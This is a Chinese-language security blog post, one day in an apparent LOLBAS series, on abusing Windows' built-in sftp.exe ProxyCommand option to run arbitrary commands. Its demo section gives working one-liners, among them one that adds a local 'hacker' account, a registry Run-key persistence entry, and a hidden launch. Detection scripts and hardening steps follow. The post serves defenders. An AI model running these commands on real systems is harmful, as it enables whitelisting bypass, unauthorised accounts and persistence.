【LOLBAS鐵人賽Day25】Sftp.exe：ProxyCommand 任意命令執行

427 字

2 分鐘

- views

【LOLBAS鐵人賽Day25】Sftp.exe：ProxyCommand 任意命令執行

2025-10-09

Research

LOLBAS

/

Windows

/

Security

SFTP.exe是Windows 10/11內建的SSH檔案傳輸客戶端
他的ProxyCommand選項可以被濫用來執行任意系統命令，
無需實際SSH連線

工具特性#

路徑: C:\Windows\System32\OpenSSH\sftp.exe
濫用點: -o ProxyCommand參數執行命令
優勢: 內建工具繞過應用程式白名單

攻擊 Demo#

ProxyCommand執行任意程式#

1
sftp -o ProxyCommand="cmd /c calc.exe" localhost
2

3
sftp -o ProxyCommand="powershell Start-Process notepad" x
4

5
sftp -o ProxyCommand="cmd /c net user hacker Pass123! /add" 0
6

7
sftp -o ProxyCommand="rundll32 shell32,ShellExec_RunDLL calc" .
8

9
sftp -o ProxyCommand="cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v X /d calc /f" a
10

11
@("calc","notepad","mspaint") | % {sftp -o ProxyCommand="cmd /c $_" x 2>$null}
12

13
Start-Process sftp -ArgumentList '-o','ProxyCommand="cmd /c calc"','x' -WindowStyle Hidden

原理：ProxyCommand原本是用來設定SSH代理，但sftp會直接執行指定的命令，主機名稱可為任意值

偵測方法#

1
# 監控 sftp.exe 執行
2
Get-Process sftp -EA 0 | ForEach {
3
    $conn = Get-NetTCPConnection -OwningProcess $_.Id -EA 0
4
    if($conn){
5
        echo "SFTP connection detected:"
6
        echo "    PID: $($_.Id)"
7
        echo "    Remote: $($conn.RemoteAddress):$($conn.RemotePort)"
8
    }
9
}
10

11
# 去看 SSH 的設定檔
12
if(Test-Path "$env:USERPROFILE\.ssh\"){
13
    Get-ChildItem "$env:USERPROFILE\.ssh\" | ForEach {
14
        echo "SSH config found: $($_.Name)"
15
    }
16
}
17

18
# 監控網路連線（Port 22）
19
Get-NetTCPConnection -RemotePort 22 -State Established | ForEach {
20
    $proc = Get-Process -Id $_.OwningProcess
21
    echo "SSH connection: $($proc.Name) -> $($_.RemoteAddress)"
22
}

防禦措施#

1
# 停用OpenSSH客戶端功能
2
Disable-WindowsOptionalFeature -Online -FeatureName OpenSSH.Client
3

4
# 封鎖sftp執行
5
$acl = Get-Acl "C:\Windows\System32\OpenSSH\sftp.exe"
6
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("Users","Execute","Deny")
7
$acl.SetAccessRule($rule)
8
Set-Acl "C:\Windows\System32\OpenSSH\sftp.exe" $acl
9

10
# 防火牆封鎖SSH連線
11
New-NetFirewallRule -DisplayName "Block SSH" -Direction Outbound `
12
    -Protocol TCP -RemotePort 22 -Action Block